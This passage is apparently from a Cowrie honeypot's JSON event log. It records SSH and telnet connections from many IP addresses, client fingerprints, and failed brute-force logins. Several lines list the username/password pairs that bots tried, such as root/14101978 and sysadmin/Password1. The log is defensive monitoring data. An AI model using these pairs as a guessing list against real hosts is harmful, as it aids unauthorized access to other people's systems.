"3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:38.499960Z","src_ip":"122.176.122.24","session":"40c52ecab5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"Password1","message":"login attempt [sysadmin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:39.630145Z","src_ip":"122.176.122.24","session":"40c52ecab5a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:40.907805Z","src_ip":"122.176.122.24","session":"40c52ecab5a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:42.862340Z","src_ip":"8.210.75.243","session":"ce6c2c98233f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36922,"dst_ip":"10.17.0.5","dst_port":22,"session":"789861f880be","protocol":"ssh","message":"New connection: 8.210.75.243:36922 (10.17.0.5:22) [session: 789861f880be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.133190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.137048Z","src_ip":"8.210.75.243","session":"789861f880be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.01397633552551,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.231814Z","src_ip":"107.6.151.170","session":"fe6c63afe183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43386,"dst_ip":"10.17.0.5","dst_port":22,"session":"986773e6c6bf","protocol":"ssh","message":"New connection: 103.176.20.57:43386 (10.17.0.5:22) [session: 986773e6c6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.237527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.242001Z","src_ip":"103.176.20.57","session":"986773e6c6bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.481912Z","src_ip":"103.176.20.57","session":"986773e6c6bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2502,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b12c9646201","protocol":"ssh","message":"New connection: 196.188.93.169:2502 (159.203.135.109:22) [session: 8b12c9646201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.529065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.532939Z","src_ip":"196.188.93.169","session":"8b12c9646201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:46.700252Z","src_ip":"196.188.93.169","session":"8b12c9646201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":38682,"dst_ip":"159.203.135.109","dst_port":22,"session":"7759e44c179f","protocol":"ssh","message":"New connection: 159.65.58.200:38682 (159.203.135.109:22) [session: 7759e44c179f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:47.100266Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"14101978","message":"login attempt [root/14101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:47.204297Z","src_ip":"103.176.20.57","session":"986773e6c6bf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:47.301118Z","src_ip":"159.65.58.200","session":"7759e44c179f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:47.303919Z","src_ip":"159.65.58.200","session":"7759e44c179f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy123456!","message":"login attempt [root/Yy123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:47.404067Z","src_ip":"196.188.93.169","session":"8b12c9646201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sklyarov","password":"123456","message":"login attempt [sklyarov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:48.435169Z","src_ip":"159.65.58.200","session":"7759e44c179f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:48.446148Z","src_ip":"103.176.20.57","session":"986773e6c6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:48.574486Z","src_ip":"196.188.93.169","session":"8b12c9646201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:49.623131Z","src_ip":"159.65.58.200","session":"7759e44c179f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41354,"dst_ip":"159.203.135.109","dst_port":23,"session":"25bd96072c82","protocol":"telnet","message":"New connection: 170.64.224.25:41354 (159.203.135.109:23) [session: 25bd96072c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:49.758612Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":44702,"dst_ip":"159.203.135.109","dst_port":22,"session":"07915bd07871","protocol":"ssh","message":"New connection: 162.214.5.224:44702 (159.203.135.109:22) [session: 07915bd07871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:49.903023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:49.906142Z","src_ip":"162.214.5.224","session":"07915bd07871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:49.987941Z","src_ip":"162.214.5.224","session":"07915bd07871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LTC#M@st3r!P@ss","message":"login attempt [root/LTC#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:50.241580Z","src_ip":"162.214.5.224","session":"07915bd07871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.41977167129517,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:51.121128Z","src_ip":"170.64.224.25","session":"4a4b423615ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27486,"dst_ip":"10.17.0.5","dst_port":22,"session":"1367a0d1bc06","protocol":"ssh","message":"New connection: 38.93.206.2:27486 (10.17.0.5:22) [session: 1367a0d1bc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:52.023968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:52.027439Z","src_ip":"38.93.206.2","session":"1367a0d1bc06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:52.076977Z","src_ip":"38.93.206.2","session":"1367a0d1bc06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123fgh","message":"login attempt [root/asd123fgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:52.238919Z","src_ip":"38.93.206.2","session":"1367a0d1bc06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:53.304870Z","src_ip":"38.93.206.2","session":"1367a0d1bc06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:53.320386Z","src_ip":"162.214.5.224","session":"07915bd07871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37476,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bbd2f46d3d7","protocol":"ssh","message":"New connection: 103.172.78.219:37476 (159.203.135.109:22) [session: 9bbd2f46d3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:54.510622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:54.514256Z","src_ip":"103.172.78.219","session":"9bbd2f46d3d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:54.775874Z","src_ip":"103.172.78.219","session":"9bbd2f46d3d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12341234z","message":"login attempt [root/12341234z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:55.544064Z","src_ip":"103.172.78.219","session":"9bbd2f46d3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:46:56.801713Z","src_ip":"103.172.78.219","session":"9bbd2f46d3d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49014,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc2e214a688","protocol":"ssh","message":"New connection: 8.210.75.243:49014 (10.17.0.5:22) [session: fdc2e214a688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:00.513950Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"97b9ee50df59","protocol":"telnet","message":"New connection: 107.150.146.69:46278 (10.17.0.5:23) [session: 97b9ee50df59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:04.827509Z"}
{"eventid":"cowrie.session.closed","duration":1.7063047885894775,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:06.533712Z","src_ip":"107.150.146.69","session":"97b9ee50df59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":40602,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b631a7adf48","protocol":"ssh","message":"New connection: 129.121.102.3:40602 (10.17.0.5:22) [session: 8b631a7adf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:07.651124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:07.655334Z","src_ip":"129.121.102.3","session":"8b631a7adf48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:07.681301Z","src_ip":"129.121.102.3","session":"8b631a7adf48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456.","message":"login attempt [ubuntu/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:07.822791Z","src_ip":"129.121.102.3","session":"8b631a7adf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":60694,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9506a2b3843","protocol":"ssh","message":"New connection: 91.92.40.13:60694 (159.203.135.109:22) [session: e9506a2b3843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:08.206889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:47:08.279768Z","src_ip":"91.92.40.13","session":"e9506a2b3843","protocol":"ssh"}
